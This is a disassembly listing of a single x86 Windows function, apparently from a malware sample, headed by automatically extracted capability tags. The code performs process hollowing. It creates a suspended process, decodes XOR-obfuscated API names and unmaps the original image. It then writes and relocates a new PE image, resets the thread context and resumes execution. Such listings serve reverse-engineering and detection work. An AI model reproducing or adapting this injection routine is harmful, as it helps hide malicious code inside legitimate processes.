Function at 0x404780
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Execute shellcode via indirect call
Inspect section memory permissions
Resume thread
Use process replacement

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x3c8
push esi
push edi
lea eax, [ebp - 0x34]
mov dword [ebp - 0xe0], 0x44
push eax
lea eax, [ebp - 0xe0]
xorps xmm0, xmm0
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push dword [ebx + 8]
movups xmmword [ebp - 0x34], xmm0
movlpd qword [ebp - 0xdc], xmm0
movlpd qword [ebp - 0xd4], xmm0
movlpd qword [ebp - 0xcc], xmm0
movlpd qword [ebp - 0xc4], xmm0
movlpd qword [ebp - 0xbc], xmm0
movlpd qword [ebp - 0xb4], xmm0
movlpd qword [ebp - 0xac], xmm0
movlpd qword [ebp - 0xa4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x404ec9
mov esi, dword [ebx + 0x10]
push 4
push 0x3000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [ebp - 0x10], edi
test edi, edi
je 0x404ec9
push esi
push dword [ebx + 0xc]
push edi
call fcn.00420bb0
mov edi, dword [edi + 0x3c]
lea eax, [ebp - 0x3c4]
add edi, dword [ebp - 0x10]
push 0x2c8
push 0
push eax
mov esi, dword [edi + 0x34]
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x20], esi
call fcn.00421510
add esp, 0x18
mov dword [ebp - 0x3c8], 0x10002
lea eax, [ebp - 0x3c8]
push eax
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x404ec9
mov eax, dword [ebp - 0x324]
lea ecx, [ebp - 0x94]
push ecx
push 4
lea ecx, [ebp - 0x3c]
add eax, 8
push ecx
push eax
push dword [ebp - 0x34]
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x404ec9
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x14], eax
cmp eax, esi
jne 0x404b20
mov ax, word [0x43d5c8]
movq xmm0, qword [0x43d5c0]
movq qword [ebp - 0x82], xmm0
mov word [ebp - 0x7a], ax
test ah, ah
je 0x404910
xor edx, edx
mov dword [ebp - 8], edx
mov eax, 0x51eb851f
mul edx
shr edx, 4
movsx eax, dl
mov edx, dword [ebp - 8]
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x82], cl
inc edx
mov dword [ebp - 8], edx
cmp edx, 0xa
jl 0x4048e6
lea eax, [ebp - 0x82]
push eax
lea ecx, [ebp - 0xf8]
call fcn.00404740
cmp dword [eax + 0x14], 0x10
jb 0x40492a
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0xf8]
mov esi, eax
call fcn.00401290
mov ecx, dword [0x43d5dc]
xor edx, edx
cmp dword [0x44f7b8], 2
movups xmm0, xmmword [str.BbVT_KjT_H]
mov dword [ebp - 0x55], ecx
mov cl, byte [0x43d5e0]
movups xmmword [ebp - 0x65], xmm0
mov byte [ebp - 0x51], cl
mov dword [ebp - 0xc], edx
jl 0x404ab0
movaps xmm0, xmmword [str.5555555555555555]
mov eax, 4
movaps xmm4, xmmword [0x43d580]
movaps xmm3, xmmword [0x43d620]
movaps xmm6, xmmword [str.2222]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x90], xmm0
mov ecx, dword [ebp - 0x90]
movd xmm7, eax
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x43d600]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x65]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x65], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x43d600]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x61]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x61], xmm1
add edx, 8
cmp edx, 0x10
jl 0x4049b0
mov dword [ebp - 0xc], edx
cmp edx, 0x15
jge 0x404ade
nop
mov eax, 0x51eb851f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xc]
movsx eax, al
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x35
xor byte [ebp + edx - 0x65], cl
inc edx
mov dword [ebp - 0xc], edx
cmp edx, 0x15
jl 0x404ab0
lea eax, [ebp - 0x65]
push eax
lea ecx, [ebp - 0x90]
call fcn.00404740
cmp dword [eax + 0x14], 0x10
jb 0x404af5
mov eax, dword [eax]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x90]
mov esi, eax
call fcn.00401290
push dword [ebp - 0x14]
push dword [ebp - 0x34]
call esi
add esp, 8
test eax, eax
jne 0x404ec9
mov esi, dword [ebp - 0x20]
push 0x40
push 0x3000
push dword [edi + 0x50]
push esi
push dword [ebp - 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call esi
mov dword [ebp - 4], eax
test eax, eax
jne 0x404b6a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x1e7
jne 0x404ec9
push 0x40
push 0x3000
push dword [edi + 0x50]
push 0
push dword [ebp - 0x34]
call esi
mov dword [ebp - 4], eax
test eax, eax
je 0x404ec9
cmp dword [ebp - 0x14], eax
je 0x404b8d
lea eax, [ebp - 0x38]
push eax
push 4
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x404ec9
mov edx, edi
mov eax, 2
mov word [edx + 0x5c], ax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x20]
je 0x404d34
test byte [edx + 0x16], 1
jne 0x404ec9
movzx eax, word [edx + 0x14]
lea edi, [edx + 0x18]
add edi, eax
mov dword [edx + 0x34], ecx
movzx ecx, word [edx + 6]
xor eax, eax
xor esi, esi
mov dword [ebp - 0x18], edi
test ecx, ecx
je 0x404bf9
movzx eax, word [edx + 6]
lea ecx, [edi + 8]
mov edi, dword [ecx + 4]
cmp dword [edx + 0xa0], edi
jb 0x404bef
mov eax, dword [ecx]
add eax, edi
cmp dword [edx + 0xa0], eax
jb 0x404cf6
movzx eax, word [edx + 6]
inc esi
add ecx, 0x28
cmp esi, eax
jb 0x404bd0
xor eax, eax
mov esi, dword [ebp - 0x10]
xor edi, edi
mov dword [ebp - 8], edi
lea ecx, [eax + esi]
mov eax, dword [edx + 0xa4]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x38], eax
test eax, eax
je 0x404dea
nop dword [eax + eax]
mov eax, dword [edi + ecx + 4]
mov esi, 0
mov dword [ebp - 0x14], esi
lea ecx, [eax - 8]
shr ecx, 1
mov dword [ebp - 0x44], ecx
mov ecx, dword [ebp - 0xc]
lea ecx, [ecx + 8]
lea ecx, [ecx + edi]
mov dword [ebp - 0x48], ecx
je 0x404d20
nop word [eax + eax]
movzx ecx, word [ecx + esi*2]
mov ax, cx
and ecx, 0xfff
shr ax, 0xc
movzx eax, ax
cmp eax, 3
je 0x404c6e
cmp eax, 0xa
jne 0x404cda
mov eax, dword [ebp - 8]
mov edi, ecx
mov ecx, dword [ebp - 0xc]
add edi, dword [eax + ecx]
movzx eax, word [edx + 0x14]
add edx, 0x18
mov ecx, dword [ebp - 0x1c]
add eax, edx
mov dword [ebp - 0x18], eax
xor edx, edx
xor eax, eax
mov dword [ebp - 0x24], eax
movzx ecx, word [ecx + 6]
mov dword [ebp - 0x40], ecx
test ecx, ecx
je 0x404cc0
mov eax, dword [ebp - 0x18]
add eax, 8
mov esi, dword [eax + 4]
cmp edi, esi
jb 0x404cb2
mov ecx, dword [eax]
add ecx, esi
cmp edi, ecx
jb 0x404d0d
mov ecx, dword [ebp - 0x40]
inc edx
add eax, 0x28
cmp edx, ecx
jb 0x404ca0
mov eax, dword [ebp - 0x24]
mov esi, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
sub dword [eax + edx], ecx
mov ecx, dword [eax + edx]
mov eax, dword [ebp - 4]
add eax, ecx
mov ecx, dword [ebp - 0x24]
mov dword [ecx + edx], eax
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x48]
inc esi
mov dword [ebp - 0x14], esi
cmp esi, dword [ebp - 0x44]
jb 0x404c50
mov edi, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov eax, dword [edi + ecx + 4]
jmp 0x404d23
mov ecx, dword [ebp - 0x18]
lea eax, [esi + esi*4]
mov eax, dword [ecx + eax*8 + 0x14]
sub eax, edi
add eax, dword [edx + 0xa0]
jmp 0x404bf9
mov ecx, dword [ebp - 0x18]
lea eax, [edx + edx*4]
mov eax, dword [ecx + eax*8 + 0x14]
sub eax, esi
add eax, edi
mov dword [ebp - 0x24], eax
jmp 0x404cbd
mov ecx, dword [ebp - 0xc]
add edi, eax
mov dword [ebp - 8], edi
cmp edi, dword [ebp - 0x38]
jb 0x404c20
mov ecx, dword [ebp - 4]
mov esi, dword [ebp - 0x10]
mov eax, dword [edx + 0x28]
add eax, ecx
mov dword [ebp - 0x318], eax
lea eax, [ebp - 0x3c8]
push eax
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x404ec9
mov edi, dword [ebp - 0x1c]
lea eax, [ebp - 0x4c]
push eax
push dword [edi + 0x54]
push esi
push dword [ebp - 4]
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x404ec9
lea eax, [ebp - 0x50]
push eax
push 2
push dword [edi + 0x54]
push dword [ebp - 4]
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x404ec9
mov ecx, dword [ebp - 0x10]
xor eax, eax
mov dword [ebp - 8], 0
mov esi, dword [ecx + 0x3c]
add esi, 0x104
cmp ax, word [edi + 6]
jae 0x404ead
add esi, ecx
lea eax, [ebp - 0x4c]
push eax
push dword [esi + 4]
mov eax, dword [esi + 8]
add eax, ecx
push eax
mov eax, dword [esi]
add eax, dword [ebp - 4]
push eax
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x404ec9
movzx eax, word [edi + 6]
dec eax
cmp dword [ebp - 8], eax
jne 0x404df2
mov edx, dword [edi + 0x50]
jmp 0x404df5
mov ecx, dword [ebp - 4]
jmp 0x404d37
mov edx, dword [esi + 0x28]
mov ecx, dword [esi + 0x18]
mov eax, ecx
sub edx, dword [esi]
and eax, 0xe0000000
cmp eax, 0xe0000000
jne 0x404e0f
mov eax, 0x40
jmp 0x404e7b
mov eax, ecx
and eax, 0x60000000
cmp eax, 0x60000000
jne 0x404e24
mov eax, 0x20
jmp 0x404e7b
mov eax, ecx
and eax, 0xa0000000
cmp eax, 0xa0000000
jne 0x404e39
mov eax, 0x80
jmp 0x404e7b
mov eax, ecx
and eax, 0xc0000000
cmp eax, 0xc0000000
jne 0x404e4e
mov eax, 4
jmp 0x404e7b
test ecx, 0x20000000
je 0x404e5d
mov eax, 0x10
jmp 0x404e7b
test ecx, 0x40000000
je 0x404e6c
mov eax, 2
jmp 0x404e7b
test ecx, ecx
mov eax, 1
mov ecx, 8
cmovs eax, ecx
lea ecx, [ebp - 0x50]
push ecx
push eax
mov eax, dword [ebp - 4]
add eax, dword [esi]
push edx
push eax
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x404ec9
mov ecx, dword [ebp - 8]
add esi, 0x28
movzx eax, word [edi + 6]
inc ecx
mov dword [ebp - 8], ecx
cmp ecx, eax
mov ecx, dword [ebp - 0x10]
jl 0x404db7
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x404ec9
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret